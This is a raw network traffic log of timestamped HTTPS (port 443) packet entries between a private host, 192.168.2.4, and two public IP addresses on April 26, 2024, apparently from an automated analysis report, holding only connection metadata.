Apr 26, 2024 09:59:58.620364904 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.620405912 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.620451927 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.620466948 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.620503902 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.620513916 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.620520115 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.620562077 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.632611990 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.645571947 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.645600080 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.645639896 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.645648956 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.645819902 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.655620098 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.667999983 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.668081999 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.668093920 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.713409901 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.804786921 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.809909105 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:58.809997082 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:58.810116053 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:58.810370922 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:58.810405016 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:58.811204910 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.811264038 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.811270952 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.824182034 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.824263096 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.824265957 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.824279070 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.824320078 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.837048054 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.850034952 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.850069046 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.850106001 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.850112915 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.850155115 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.862935066 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.875859976 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.875906944 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.875924110 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.887831926 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.887865067 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.887904882 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.887917042 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.887953043 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.899600983 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.911534071 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.911576986 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.911578894 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.911590099 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.911628008 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.923297882 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.935172081 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.935208082 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.935225964 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.935235977 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.935415983 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.935420990 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.952966928 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.953015089 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.953020096 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.953095913 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.953139067 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.953267097 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.953277111 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.193772078 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.194696903 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.194740057 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.195841074 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.198333979 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.198515892 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.198554039 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.240123987 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.248270035 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.443331957 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445174932 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445194960 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445213079 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445254087 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445274115 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.445274115 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.445288897 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445318937 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.445365906 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.445453882 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.446202993 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.446244001 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.446290016 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.446310997 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.446336031 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.487278938 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.487292051 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.533782959 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.595340967 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.595376015 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.595419884 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.595423937 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.595448017 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.595468998 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.595490932 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.595534086 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.595534086 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596174955 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596204042 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596215963 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596234083 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596266031 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596297979 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596298933 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596620083 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596642017 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596658945 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596673965 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.596709967 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596710920 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.596782923 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.616415977 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.616445065 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.616544962 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.616544962 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.616563082 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.616614103 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.639027119 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.639070988 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.639208078 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.639451027 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.639477015 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.676784039 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.676836967 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.680398941 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.680913925 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.680936098 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.719244003 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.719269991 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.719348907 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.719348907 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.719363928 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.719419956 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.719957113 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.719976902 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.720096111 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.720105886 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.720242977 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.721366882 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.721389055 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.721426010 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.721455097 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.721460104 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.721481085 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.721497059 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.721523046 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.721549034 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.721709967 CEST	49998	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:59.721719980 CEST	443	49998	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:59.963435888 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.968612909 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.968637943 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.969297886 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.970168114 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:59.970263958 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:59.970340967 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.010416985 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.010436058 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.301354885 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.301657915 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.301752090 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.302378893 CEST	50000	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.302397966 CEST	443	50000	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.315485001 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.315994978 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.316015005 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.317137003 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.318850040 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.319027901 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.320352077 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.368113995 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.549551010 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.549623966 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.549700975 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.550084114 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.550112963 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630335093 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630455017 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630505085 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.630528927 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630613089 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630666018 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.630676031 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630748987 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.630800962 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.630808115 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.640332937 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.640397072 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.640403032 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.651475906 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.651552916 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.651559114 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.662476063 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.662627935 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.662635088 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.703716993 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.703726053 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.749671936 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.783946991 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.789221048 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.789272070 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.789280891 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.789393902 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.789444923 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.789588928 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.789606094 CEST	443	50001	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.789616108 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.789823055 CEST	50001	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.814970016 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:00.815015078 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:00.815140963 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:00.815315008 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:00.815334082 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:00.881081104 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.881411076 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.881441116 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.881895065 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.882244110 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.882328987 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.882379055 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:00.924143076 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:00.937711000 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.194940090 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.195198059 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.195219994 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.195557117 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.195961952 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.195961952 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.195980072 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.196024895 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.213923931 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.213984013 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.214023113 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.214215994 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.214293957 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.214703083 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.214814901 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.214833021 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.214967966 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.227036953 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.231358051 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.231513023 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.231626034 CEST	50005	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.231662989 CEST	443	50005	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.244901896 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.253541946 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.253612995 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.253808975 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.254216909 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.254244089 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.449982882 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.450583935 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.450606108 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.450649977 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.450664997 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.450678110 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.450695038 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.450715065 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.450726986 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.450751066 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.450781107 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.451802015 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.451847076 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.451881886 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.451894045 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.451917887 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.496496916 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.574172020 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.574206114 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.574285984 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.574285984 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.574304104 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.574548960 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.574568987 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.574573994 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.574588060 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.574639082 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.574644089 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.575053930 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.575109005 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.575129032 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.575193882 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.575193882 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.575201035 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.575411081 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.589706898 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.590059996 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.590117931 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.591010094 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.591397047 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.591486931 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.591577053 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.612597942 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.612618923 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.612688065 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.612699032 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.612936020 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.634013891 CEST	50007	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:01.634020090 CEST	443	50007	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:01.737859011 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.737883091 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.738075972 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.738089085 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.738154888 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.738941908 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.738970041 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.739042044 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.739042044 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.739048958 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.740457058 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.740479946 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.740542889 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.740542889 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.740551949 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.741833925 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.741861105 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.741952896 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.741952896 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.741961002 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.742378950 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.742799044 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.742816925 CEST	443	50006	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:01.742904902 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.742904902 CEST	50006	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:01.742909908 CEST	443	50006	152.195.19.97	192.168.2.4
